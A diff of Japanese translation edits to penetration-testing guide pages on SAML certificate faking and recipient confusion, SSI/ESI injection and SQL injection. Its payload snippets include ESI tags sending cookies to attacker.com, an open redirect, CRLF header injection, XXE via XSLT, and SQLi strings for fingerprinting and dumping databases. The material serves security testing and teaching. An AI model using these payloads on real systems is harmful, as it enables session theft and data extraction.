証明書の偽造は、**サービスプロバイダー(SP)がSAMLメッセージが信頼されたアイデンティティプロバイダー(IdP)によって署名されていることを適切に検証するかどうかをテストする技術**です。これは、SAMLレスポンスまたはアサーションに対して\***自己署名証明書**を使用して署名することを含み、SPとIdP間の信頼検証プロセスを評価するのに役立ちます。
|
証明書の偽造は、**サービスプロバイダー(SP)がSAMLメッセージが信頼されたアイデンティティプロバイダー(IdP)によって署名されていることを適切に検証するかどうかをテストする技術**です。これは、SAMLレスポンスまたはアサーションに\***自己署名証明書**を使用して署名することを含み、SPとIdP間の信頼検証プロセスを評価するのに役立ちます。
|
||||||
|
|
||||||
### 証明書の偽造を実施する方法
|
### 証明書の偽造を実施する方法
|
||||||
|
|
||||||
以下の手順は、[SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp拡張機能を使用したプロセスを概説します:
|
以下の手順は、[SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp拡張機能を使用したプロセスを概説しています:
|
||||||
|
|
||||||
1. SAMLレスポンスを傍受します。
|
1. SAMLレスポンスを傍受します。
|
||||||
2. レスポンスに署名が含まれている場合、`Send Certificate to SAML Raider Certs`ボタンを使用して証明書をSAML Raider Certsに送信します。
|
2. レスポンスに署名が含まれている場合、`Send Certificate to SAML Raider Certs`ボタンを使用して証明書をSAML Raider Certsに送信します。
|
||||||
3. SAML Raiderの証明書タブで、インポートした証明書を選択し、`Save and Self-Sign`をクリックして元の証明書の自己署名クローンを作成します。
|
3. SAML Raiderの証明書タブで、インポートした証明書を選択し、`Save and Self-Sign`をクリックして元の証明書の自己署名クローンを作成します。
|
||||||
4. Burpのプロキシで傍受したリクエストに戻ります。XML署名のドロップダウンから新しい自己署名証明書を選択します。
|
4. Burpのプロキシで傍受したリクエストに戻ります。XML署名のドロップダウンから新しい自己署名証明書を選択します。
|
||||||
5. `Remove Signatures`ボタンを使用して既存の署名を削除します。
|
5. `Remove Signatures`ボタンで既存の署名を削除します。
|
||||||
6. 適切に**`(Re-)Sign Message`**または**`(Re-)Sign Assertion`**ボタンを使用して、新しい証明書でメッセージまたはアサーションに署名します。
|
6. **`(Re-)Sign Message`**または**`(Re-)Sign Assertion`**ボタンを使用して、新しい証明書でメッセージまたはアサーションに署名します。
|
||||||
7. 署名されたメッセージを転送します。成功した認証は、SPが自己署名証明書で署名されたメッセージを受け入れることを示し、SAMLメッセージの検証プロセスに潜在的な脆弱性があることを明らかにします。
|
7. 署名されたメッセージを転送します。成功した認証は、SPが自己署名証明書で署名されたメッセージを受け入れることを示し、SAMLメッセージの検証プロセスに潜在的な脆弱性があることを明らかにします。
|
||||||
|
|
||||||
## トークン受信者の混乱 / サービスプロバイダーターゲットの混乱 <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
## トークン受信者の混乱 / サービスプロバイダーターゲットの混乱 <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
||||||
|
|
||||||
トークン受信者の混乱とサービスプロバイダーターゲットの混乱は、**サービスプロバイダーが応答の意図された受信者を正しく検証するかどうかを確認すること**を含みます。基本的に、サービスプロバイダーは、異なるプロバイダー向けの認証応答を拒否する必要があります。ここでの重要な要素は、SAMLレスポンスの**SubjectConfirmationData**要素内にある**Recipient**フィールドです。このフィールドは、アサーションが送信されるべきURLを指定します。実際の受信者が意図されたサービスプロバイダーと一致しない場合、アサーションは無効と見なされるべきです。
|
トークン受信者の混乱とサービスプロバイダーターゲットの混乱は、**サービスプロバイダーがレスポンスの意図された受信者を正しく検証するかどうかを確認すること**を含みます。基本的に、サービスプロバイダーは、異なるプロバイダー向けの認証レスポンスを拒否する必要があります。ここでの重要な要素は、SAMLレスポンスの**SubjectConfirmationData**要素内にある**Recipient**フィールドです。このフィールドは、アサーションが送信されるべきURLを指定します。実際の受信者が意図されたサービスプロバイダーと一致しない場合、アサーションは無効と見なされるべきです。
|
||||||
|
|
||||||
#### **動作の仕組み**
|
#### **動作の仕組み**
|
||||||
|
|
||||||
@ -256,13 +256,13 @@ https://carbon-prototype.uberinternal.com:443/oidauth/logout
|
|||||||
```
|
```
|
||||||
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
|
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
|
||||||
```
|
```
|
||||||
これは、`base`パラメータがURLを受け入れることを明らかにしました。これを考慮して、XSS(クロスサイトスクリプティング)攻撃を開始する試みとして、URLを`javascript:alert(123);`に置き換えるアイデアが浮かびました。
|
このことから、`base` パラメータが URL を受け入れることが明らかになりました。これを考慮して、XSS (クロスサイトスクリプティング) 攻撃を開始する試みとして、URL を `javascript:alert(123);` に置き換えるアイデアが浮かびました。
|
||||||
|
|
||||||
### 大規模な悪用
|
### 大規模な悪用
|
||||||
|
|
||||||
[この研究から](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
|
[この研究から](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
|
||||||
|
|
||||||
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor)ツールを使用して、同じライブラリを利用している`uberinternal.com`のサブドメインを分析しました。その後、`oidauth/prompt`ページをターゲットにするスクリプトが開発されました。このスクリプトは、データを入力して出力に反映されるかどうかを確認することでXSS(クロスサイトスクリプティング)をテストします。入力が実際に反映される場合、スクリプトはそのページを脆弱であるとフラグ付けします。
|
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) ツールを使用して、同じライブラリを利用している `uberinternal.com` のサブドメインを分析しました。その後、`oidauth/prompt` ページをターゲットにしたスクリプトが開発されました。このスクリプトは、データを入力して出力に反映されるかどうかを確認することで XSS (クロスサイトスクリプティング) をテストします。入力が実際に反映される場合、スクリプトはそのページを脆弱であるとフラグ付けします。
|
||||||
```python
|
```python
|
||||||
import requests
|
import requests
|
||||||
import urllib3
|
import urllib3
|
||||||
|
@ -13,7 +13,7 @@
|
|||||||
|
|
||||||
**詳細については、[https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) の完全な投稿を確認してください**。これは要約です:
|
**詳細については、[https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) の完全な投稿を確認してください**。これは要約です:
|
||||||
|
|
||||||
SAML 認証プロセスは、スキーマに示されているように、いくつかのステップを含みます:
|
SAML 認証プロセスは、以下のステップを含みます。
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
@ -49,14 +49,14 @@ Host: shibdemo-sp1.test.edu
|
|||||||
- **ProtocolBinding**: SAMLプロトコルメッセージの送信方法を定義します。
|
- **ProtocolBinding**: SAMLプロトコルメッセージの送信方法を定義します。
|
||||||
- **saml:Issuer**: リクエストを開始したエンティティを識別します。
|
- **saml:Issuer**: リクエストを開始したエンティティを識別します。
|
||||||
|
|
||||||
SAMLリクエストの生成に続いて、SPは**302リダイレクト**で応答し、ブラウザをSAMLリクエストがHTTPレスポンスの**Location**ヘッダーにエンコードされているIdPに向けます。**RelayState**パラメータはトランザクション全体で状態情報を保持し、SPがSAMLレスポンスを受け取った際に初期リソースリクエストを認識できるようにします。**SAMLRequest**パラメータは、生のXMLスニペットの圧縮およびエンコードされたバージョンで、Deflate圧縮とbase64エンコーディングを利用しています。
|
SAMLリクエストの生成に続いて、SPは**302リダイレクト**で応答し、ブラウザをIdPに向けてSAMLリクエストをHTTPレスポンスの**Location**ヘッダーにエンコードして送信します。**RelayState**パラメータはトランザクション全体で状態情報を保持し、SPがSAMLレスポンスを受信した際に初期リソースリクエストを認識できるようにします。**SAMLRequest**パラメータは、生のXMLスニペットの圧縮およびエンコードされたバージョンで、Deflate圧縮とbase64エンコーディングを利用しています。
|
||||||
|
|
||||||
# SAMLレスポンスの例
|
# SAMLレスポンスの例
|
||||||
|
|
||||||
[こちらに完全なSAMLレスポンスがあります](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)。レスポンスの主要なコンポーネントは次のとおりです:
|
[こちらに完全なSAMLレスポンスがあります](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)。レスポンスの主要なコンポーネントは次のとおりです:
|
||||||
|
|
||||||
- **ds:Signature**: このセクションはXML署名で、アサーションの発行者の整合性と真正性を保証します。例のSAMLレスポンスには、メッセージ用とアサーション用の2つの`ds:Signature`要素が含まれています。
|
- **ds:Signature**: このセクションはXML署名で、アサーションの発行者の整合性と真正性を保証します。例のSAMLレスポンスには、メッセージ用とアサーション用の2つの`ds:Signature`要素が含まれています。
|
||||||
- **saml:Assertion**: この部分はユーザーのアイデンティティに関する情報や他の属性を保持します。
|
- **saml:Assertion**: この部分はユーザーのアイデンティティやその他の属性に関する情報を保持します。
|
||||||
- **saml:Subject**: アサーション内のすべてのステートメントの主要な主体を指定します。
|
- **saml:Subject**: アサーション内のすべてのステートメントの主要な主体を指定します。
|
||||||
- **saml:StatusCode**: 対応するリクエストに対する操作のステータスを表します。
|
- **saml:StatusCode**: 対応するリクエストに対する操作のステータスを表します。
|
||||||
- **saml:Conditions**: アサーションの有効性のタイミングや指定されたサービスプロバイダーなどの条件を詳細に説明します。
|
- **saml:Conditions**: アサーションの有効性のタイミングや指定されたサービスプロバイダーなどの条件を詳細に説明します。
|
||||||
@ -65,11 +65,11 @@ SAMLリクエストの生成に続いて、SPは**302リダイレクト**で応
|
|||||||
|
|
||||||
SAMLレスポンスに続いて、プロセスにはIdPからの302リダイレクトが含まれます。これにより、サービスプロバイダーのアサーションコンシューマサービス(ACS)URLへのPOSTリクエストが行われます。POSTリクエストには`RelayState`および`SAMLResponse`パラメータが含まれます。ACSはSAMLレスポンスの処理と検証を担当します。
|
SAMLレスポンスに続いて、プロセスにはIdPからの302リダイレクトが含まれます。これにより、サービスプロバイダーのアサーションコンシューマサービス(ACS)URLへのPOSTリクエストが行われます。POSTリクエストには`RelayState`および`SAMLResponse`パラメータが含まれます。ACSはSAMLレスポンスの処理と検証を担当します。
|
||||||
|
|
||||||
POSTリクエストが受信され、SAMLレスポンスが検証されると、ユーザーが最初にリクエストした保護されたリソースへのアクセスが許可されます。これは`/secure/`エンドポイントへの`GET`リクエストと、リソースへの成功したアクセスを示す`200 OK`レスポンスで示されます。
|
POSTリクエストが受信され、SAMLレスポンスが検証されると、ユーザーが最初にリクエストした保護されたリソースへのアクセスが許可されます。これは`GET`リクエストを`/secure/`エンドポイントに送り、リソースへの成功したアクセスを示す`200 OK`レスポンスで示されます。
|
||||||
|
|
||||||
# XML署名
|
# XML署名
|
||||||
|
|
||||||
XML署名は多用途で、XMLツリー全体またはその中の特定の要素に署名できます。レスポンス要素だけでなく、任意のXMLオブジェクトに適用できます。以下はXML署名の主要なタイプです:
|
XML署名は多用途で、XMLツリー全体またはその中の特定の要素に署名することができます。レスポンス要素だけでなく、任意のXMLオブジェクトに適用できます。以下はXML署名の主要なタイプです:
|
||||||
|
|
||||||
### XML署名の基本構造
|
### XML署名の基本構造
|
||||||
|
|
||||||
@ -91,7 +91,7 @@ XML署名は、次のような基本要素で構成されています:
|
|||||||
<Object />
|
<Object />
|
||||||
</Signature>
|
</Signature>
|
||||||
```
|
```
|
||||||
各 `Reference` 要素は、URI 属性によって識別される特定のリソースが署名されていることを示します。
|
各 `Reference` 要素は、URI 属性によって識別可能な、署名される特定のリソースを示します。
|
||||||
|
|
||||||
### XML 署名の種類
|
### XML 署名の種類
|
||||||
|
|
||||||
|
@ -6,7 +6,7 @@
|
|||||||
|
|
||||||
**(紹介は** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**からのものです)**
|
**(紹介は** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**からのものです)**
|
||||||
|
|
||||||
SSI (Server Side Includes) は、**HTMLページに配置され、ページが提供される際にサーバーで評価される指示文**です。これにより、**既存のHTMLページに動的に生成されたコンテンツを追加**することができ、CGIプログラムや他の動的技術を介してページ全体を提供する必要がありません。\
|
SSI (Server Side Includes) は、**HTMLページに配置され、ページが提供される際にサーバー上で評価される指示文**です。これにより、**既存のHTMLページに動的に生成されたコンテンツを追加**することができ、CGIプログラムや他の動的技術を介してページ全体を提供する必要がありません。\
|
||||||
例えば、既存のHTMLページに次のような指示文を配置することができます:
|
例えば、既存のHTMLページに次のような指示文を配置することができます:
|
||||||
|
|
||||||
`<!--#echo var="DATE_LOCAL" -->`
|
`<!--#echo var="DATE_LOCAL" -->`
|
||||||
@ -17,9 +17,9 @@ SSI (Server Side Includes) は、**HTMLページに配置され、ページが
|
|||||||
|
|
||||||
SSIを使用するタイミングと、ページ全体をプログラムによって生成するタイミングの決定は、通常、ページのどの部分が静的で、どの部分がページが提供されるたびに再計算される必要があるかの問題です。SSIは、上記のように現在の時刻などの小さな情報を追加するのに最適な方法です。しかし、ページの大部分が提供される際に生成される場合は、他の解決策を探す必要があります。
|
SSIを使用するタイミングと、ページ全体をプログラムによって生成するタイミングの決定は、通常、ページのどの部分が静的で、どの部分がページが提供されるたびに再計算される必要があるかの問題です。SSIは、上記のように現在の時刻などの小さな情報を追加するのに最適な方法です。しかし、ページの大部分が提供される際に生成される場合は、他の解決策を探す必要があります。
|
||||||
|
|
||||||
ウェブアプリケーションが拡張子s**`.shtml`, `.shtm` または `.stm`**のファイルを使用している場合、SSIの存在を推測できますが、それだけではありません。
|
ウェブアプリケーションが拡張子が**`.shtml`、`.shtm`、または`.stm`**のファイルを使用している場合、SSIの存在を推測できますが、それだけではありません。
|
||||||
|
|
||||||
典型的なSSI式は次の形式を持っています:
|
典型的なSSI表現は次の形式を持っています:
|
||||||
```
|
```
|
||||||
<!--#directive param="value" -->
|
<!--#directive param="value" -->
|
||||||
```
|
```
|
||||||
@ -56,7 +56,7 @@ SSIを使用するタイミングと、ページ全体をプログラムによ
|
|||||||
```
|
```
|
||||||
## Edge Side Inclusion
|
## Edge Side Inclusion
|
||||||
|
|
||||||
情報や動的アプリケーションを**キャッシュする**ことに問題があります。コンテンツの一部は、次回コンテンツが取得される際に**異なる**可能性があります。これが**ESI**が使用される理由であり、ESIタグを使用して**生成する必要がある動的コンテンツ**を示します。\
|
情報や動的アプリケーションを**キャッシュする**ことには問題があります。コンテンツの一部は次回コンテンツが取得される際に**異なる**可能性があります。これが**ESI**が使用される理由であり、ESIタグを使用して**生成する必要がある動的コンテンツ**を示します。\
|
||||||
もし**攻撃者**がキャッシュコンテンツ内に**ESIタグを注入**できれば、ユーザーに送信される前に文書に**任意のコンテンツを注入**できる可能性があります。
|
もし**攻撃者**がキャッシュコンテンツ内に**ESIタグを注入**できれば、ユーザーに送信される前に文書に**任意のコンテンツを注入**できる可能性があります。
|
||||||
|
|
||||||
### ESI Detection
|
### ESI Detection
|
||||||
@ -65,8 +65,8 @@ SSIを使用するタイミングと、ページ全体をプログラムによ
|
|||||||
```
|
```
|
||||||
Surrogate-Control: content="ESI/1.0"
|
Surrogate-Control: content="ESI/1.0"
|
||||||
```
|
```
|
||||||
このヘッダーが見つからない場合、サーバーは**それでもESIを使用している可能性があります**。\
|
このヘッダーが見つからない場合、サーバーは**ESIを使用している可能性があります**。\
|
||||||
**盲目的なエクスプロイトアプローチも使用できます**。リクエストは攻撃者のサーバーに到達する必要があります:
|
**盲目的なエクスプロイト手法も使用できます**。リクエストは攻撃者のサーバーに到達する必要があります:
|
||||||
```javascript
|
```javascript
|
||||||
// Basic detection
|
// Basic detection
|
||||||
hell<!--esi-->o
|
hell<!--esi-->o
|
||||||
@ -95,7 +95,7 @@ hell<!--esi-->o
|
|||||||
- **Vars**: `<esi:vars>`ディレクティブをサポート。XSSフィルターをバイパスするのに便利
|
- **Vars**: `<esi:vars>`ディレクティブをサポート。XSSフィルターをバイパスするのに便利
|
||||||
- **Cookie**: ドキュメントクッキーはESIエンジンにアクセス可能
|
- **Cookie**: ドキュメントクッキーはESIエンジンにアクセス可能
|
||||||
- **Upstream Headers Required**: 上流アプリケーションがヘッダーを提供しない限り、サロゲートアプリケーションはESIステートメントを処理しない
|
- **Upstream Headers Required**: 上流アプリケーションがヘッダーを提供しない限り、サロゲートアプリケーションはESIステートメントを処理しない
|
||||||
- **Host Allowlist**: この場合、ESIのインクルードは許可されたサーバーホストからのみ可能であり、例えばSSRFはこれらのホストに対してのみ可能
|
- **Host Allowlist**: この場合、ESIインクルードは許可されたサーバーホストからのみ可能であり、例えばSSRFはこれらのホストに対してのみ可能
|
||||||
|
|
||||||
| **ソフトウェア** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
|
| **ソフトウェア** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
|
||||||
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
|
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
|
||||||
@ -127,7 +127,7 @@ Use <!--esi--> to bypass WAFs:
|
|||||||
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
|
<esi:include src=http://attacker.com/$(HTTP_COOKIE)>
|
||||||
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
|
<esi:include src="http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" />
|
||||||
```
|
```
|
||||||
- XSSを使用してHTTP_ONLYクッキーを盗むには、それをレスポンスに反映させます:
|
- XSSを使用してHTTP_ONLYクッキーを応答に反映させて盗む:
|
||||||
```bash
|
```bash
|
||||||
# This will reflect the cookies in the response
|
# This will reflect the cookies in the response
|
||||||
<!--esi $(HTTP_COOKIE) -->
|
<!--esi $(HTTP_COOKIE) -->
|
||||||
@ -146,9 +146,9 @@ Use <!--esi--> to bypass WAFs:
|
|||||||
```markup
|
```markup
|
||||||
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
|
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
|
||||||
```
|
```
|
||||||
#### オープンリダイレクト
|
#### Open Redirect
|
||||||
|
|
||||||
次の内容は、レスポンスに `Location` ヘッダーを追加します。
|
以下は、レスポンスに `Location` ヘッダーを追加します。
|
||||||
```bash
|
```bash
|
||||||
<!--esi $add_header('Location','http://attacker.com') -->
|
<!--esi $add_header('Location','http://attacker.com') -->
|
||||||
```
|
```
|
||||||
@ -160,7 +160,7 @@ Use <!--esi--> to bypass WAFs:
|
|||||||
<esi:request_header name="User-Agent" value="12345"/>
|
<esi:request_header name="User-Agent" value="12345"/>
|
||||||
</esi:include>
|
</esi:include>
|
||||||
```
|
```
|
||||||
- レスポンスにヘッダーを追加する(XSSを使用して"Content-Type: text/json"をバイパスするのに役立ちます)
|
- レスポンスにヘッダーを追加する(XSSを使用して「Content-Type: text/json」をバイパスするのに役立ちます)
|
||||||
```bash
|
```bash
|
||||||
<!--esi/$add_header('Content-Type','text/html')/-->
|
<!--esi/$add_header('Content-Type','text/html')/-->
|
||||||
|
|
||||||
@ -183,7 +183,7 @@ Host: anotherhost.com"/>
|
|||||||
```
|
```
|
||||||
### ESI + XSLT = XXE
|
### ESI + XSLT = XXE
|
||||||
|
|
||||||
**`eXtensible Stylesheet Language Transformations (XSLT)`** の構文を ESI で使用することが可能で、単にパラメータ **`dca`** の値を **`xslt`** と指定するだけです。これにより、**XSLT** を悪用して XML 外部エンティティ脆弱性 (XXE) を作成および悪用することができるかもしれません:
|
ESIで**`eXtensible Stylesheet Language Transformations (XSLT)`**構文を使用することが可能で、単にパラメータ**`dca`**の値を**`xslt`**として指定するだけです。これにより、**XSLT**を悪用してXML外部エンティティ脆弱性(XXE)を作成および悪用することができるかもしれません:
|
||||||
```xml
|
```xml
|
||||||
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
|
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
|
||||||
```
|
```
|
||||||
|
@ -5,7 +5,7 @@
|
|||||||
|
|
||||||
## SQLインジェクションとは?
|
## SQLインジェクションとは?
|
||||||
|
|
||||||
**SQLインジェクション**は、攻撃者がアプリケーションのデータベースクエリに**干渉する**ことを可能にするセキュリティの欠陥です。この脆弱性により、攻撃者は**見る**、**変更する**、または**削除する**ことができるデータにアクセスできるようになり、他のユーザーの情報やアプリケーションがアクセスできる任意のデータを含みます。このような行動は、アプリケーションの機能やコンテンツに永続的な変更をもたらしたり、サーバーの侵害やサービス拒否を引き起こす可能性があります。
|
**SQLインジェクション**は、攻撃者がアプリケーションの**データベースクエリに干渉する**ことを可能にするセキュリティの欠陥です。この脆弱性により、攻撃者は**見る**、**変更する**、または**削除する**ことができるデータにアクセスできるようになり、他のユーザーの情報やアプリケーションがアクセスできる任意のデータを含みます。このような行動は、アプリケーションの機能やコンテンツに永続的な変更をもたらしたり、サーバーの侵害やサービス拒否を引き起こす可能性があります。
|
||||||
|
|
||||||
## エントリーポイントの検出
|
## エントリーポイントの検出
|
||||||
|
|
||||||
@ -22,7 +22,7 @@
|
|||||||
"))
|
"))
|
||||||
`))
|
`))
|
||||||
```
|
```
|
||||||
次に、**エラーが出ないようにクエリを修正する方法**を知っておく必要があります。クエリを修正するためには、**データを入力して**、**前のクエリが新しいデータを受け入れる**ようにするか、単に**データを入力して**、**最後にコメント記号を追加**することができます。
|
次に、**エラーが出ないようにクエリを修正する方法**を知っておく必要があります。クエリを修正するためには、**データを入力して**、**以前のクエリが新しいデータを受け入れるようにする**か、単に**データを入力して**、**最後にコメント記号を追加する**ことができます。
|
||||||
|
|
||||||
_エラーメッセージが見える場合や、クエリが正常に動作しているときとそうでないときの違いを見つけることができれば、このフェーズはより簡単になります。_
|
_エラーメッセージが見える場合や、クエリが正常に動作しているときとそうでないときの違いを見つけることができれば、このフェーズはより簡単になります。_
|
||||||
|
|
||||||
@ -71,7 +71,7 @@ page.asp?id=1 and 1=2 -- results in false
|
|||||||
|
|
||||||
### タイミングによる確認
|
### タイミングによる確認
|
||||||
|
|
||||||
場合によっては、テストしているページに**変化が見られない**ことがあります。したがって、**ブラインドSQLインジェクションを発見する**良い方法は、DBにアクションを実行させ、ページの読み込みに**時間に影響を与える**ことです。\
|
場合によっては、テストしているページに**変化が見られない**ことがあります。したがって、**ブラインドSQLインジェクションを発見する**良い方法は、DBにアクションを実行させ、ページの読み込みにかかる**時間に影響を与える**ことです。\
|
||||||
したがって、SQLクエリに完了するのに多くの時間がかかる操作を連結します:
|
したがって、SQLクエリに完了するのに多くの時間がかかる操作を連結します:
|
||||||
```
|
```
|
||||||
MySQL (string concat and logical ops)
|
MySQL (string concat and logical ops)
|
||||||
@ -94,11 +94,11 @@ SQLite
|
|||||||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||||
```
|
```
|
||||||
場合によっては、**sleep関数が許可されない**ことがあります。その場合、これらの関数を使用する代わりに、クエリを**複雑な操作**を実行させて数秒かかるようにすることができます。_これらの技術の例は、各技術ごとに別途コメントされる予定です(ある場合)_。
|
場合によっては、**スリープ関数が許可されない**ことがあります。その場合、これらの関数を使用する代わりに、**複雑な操作を実行する**クエリを作成することができます。_これらの技術の例は、各技術ごとに別々にコメントされる予定です(ある場合)_。
|
||||||
|
|
||||||
### バックエンドの特定
|
### バックエンドの特定
|
||||||
|
|
||||||
バックエンドを特定する最良の方法は、異なるバックエンドの関数を実行しようとすることです。前のセクションの_**sleep**_ **関数**や、これらの関数を使用することができます([payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification)の表):
|
バックエンドを特定する最良の方法は、異なるバックエンドの関数を実行しようとすることです。前のセクションの_**スリープ**_ **関数**や、次のものを使用できます([payloadsallthethings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification)の表):
|
||||||
```bash
|
```bash
|
||||||
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
|
||||||
["connection_id()=connection_id()" ,"MYSQL"],
|
["connection_id()=connection_id()" ,"MYSQL"],
|
||||||
@ -169,11 +169,11 @@ SQLite
|
|||||||
1' UNION SELECT null,null-- - Not working
|
1' UNION SELECT null,null-- - Not working
|
||||||
1' UNION SELECT null,null,null-- - Worked
|
1' UNION SELECT null,null,null-- - Worked
|
||||||
```
|
```
|
||||||
_`null`値を使用するべきです。なぜなら、クエリの両側のカラムの型が同じでなければならない場合があり、nullはすべてのケースで有効だからです。_
|
_クエリの両側の列の型が同じでなければならない場合があるため、`null`値を使用する必要があります。nullはすべてのケースで有効です。_
|
||||||
|
|
||||||
### データベース名、テーブル名、カラム名の抽出
|
### データベース名、テーブル名、列名の抽出
|
||||||
|
|
||||||
次の例では、すべてのデータベースの名前、データベースのテーブル名、テーブルのカラム名を取得します:
|
次の例では、すべてのデータベースの名前、データベースのテーブル名、テーブルの列名を取得します:
|
||||||
```sql
|
```sql
|
||||||
#Database names
|
#Database names
|
||||||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||||||
@ -184,11 +184,11 @@ _`null`値を使用するべきです。なぜなら、クエリの両側のカ
|
|||||||
#Column names
|
#Column names
|
||||||
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
|
||||||
```
|
```
|
||||||
_このデータを発見する方法は、異なるデータベースごとに異なりますが、常に同じ方法論です。_
|
_異なるデータベースごとにこのデータを発見する方法は異なりますが、常に同じ方法論です。_
|
||||||
|
|
||||||
## 隠れたユニオンベースの悪用
|
## 隠れたユニオンベースの悪用
|
||||||
|
|
||||||
クエリの出力が表示されているが、ユニオンベースのインジェクションが達成できない場合、それは**隠れたユニオンベースのインジェクション**の存在を示しています。このシナリオは、しばしばブラインドインジェクションの状況につながります。ブラインドインジェクションをユニオンベースのものに変換するには、バックエンドでの実行クエリを特定する必要があります。
|
クエリの出力が表示されているが、ユニオンベースのインジェクションが達成できない場合、それは**隠れたユニオンベースのインジェクション**の存在を示しています。このシナリオはしばしばブラインドインジェクションの状況につながります。ブラインドインジェクションをユニオンベースのものに変換するには、バックエンドでの実行クエリを特定する必要があります。
|
||||||
|
|
||||||
これは、ブラインドインジェクション技術とターゲットのデータベース管理システム(DBMS)に特有のデフォルトテーブルを使用することで達成できます。これらのデフォルトテーブルを理解するためには、ターゲットDBMSのドキュメントを参照することをお勧めします。
|
これは、ブラインドインジェクション技術とターゲットのデータベース管理システム(DBMS)に特有のデフォルトテーブルを使用することで達成できます。これらのデフォルトテーブルを理解するためには、ターゲットDBMSのドキュメントを参照することをお勧めします。
|
||||||
|
|
||||||
@ -205,14 +205,14 @@ _このデータを発見する方法は、異なるデータベースごとに
|
|||||||
```
|
```
|
||||||
## ブラインドSQLiの悪用
|
## ブラインドSQLiの悪用
|
||||||
|
|
||||||
この場合、クエリの結果やエラーを見ることはできませんが、クエリが**true**または**false**の応答を**返す**ときに、ページ上の異なる内容があるため、**区別**することができます。\
|
この場合、クエリの結果やエラーを見ることはできませんが、クエリが**true**または**false**の応答を**返す**ときに区別することができます。なぜなら、ページ上の内容が異なるからです。\
|
||||||
この場合、その動作を悪用してデータベースを文字ごとにダンプすることができます:
|
この場合、その動作を悪用してデータベースを文字ごとにダンプすることができます:
|
||||||
```sql
|
```sql
|
||||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||||
```
|
```
|
||||||
## エラー盲目的SQLiの悪用
|
## エラー盲目的SQLiの悪用
|
||||||
|
|
||||||
これは**以前と同じケース**ですが、クエリからの真/偽の応答を区別する代わりに、SQLクエリの**エラー**があるかどうかを**区別する**ことができます(おそらくHTTPサーバーがクラッシュするため)。したがって、この場合、正しく文字を推測するたびにSQLエラーを強制することができます:
|
これは**以前と同じケース**ですが、クエリからの真/偽の応答を区別する代わりに、SQLクエリの**エラー**があるかどうかを**区別する**ことができます(おそらくHTTPサーバーがクラッシュするため)。したがって、この場合、正しく文字を推測するたびにSQLエラーを強制することができます:
|
||||||
```sql
|
```sql
|
||||||
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||||
```
|
```
|
||||||
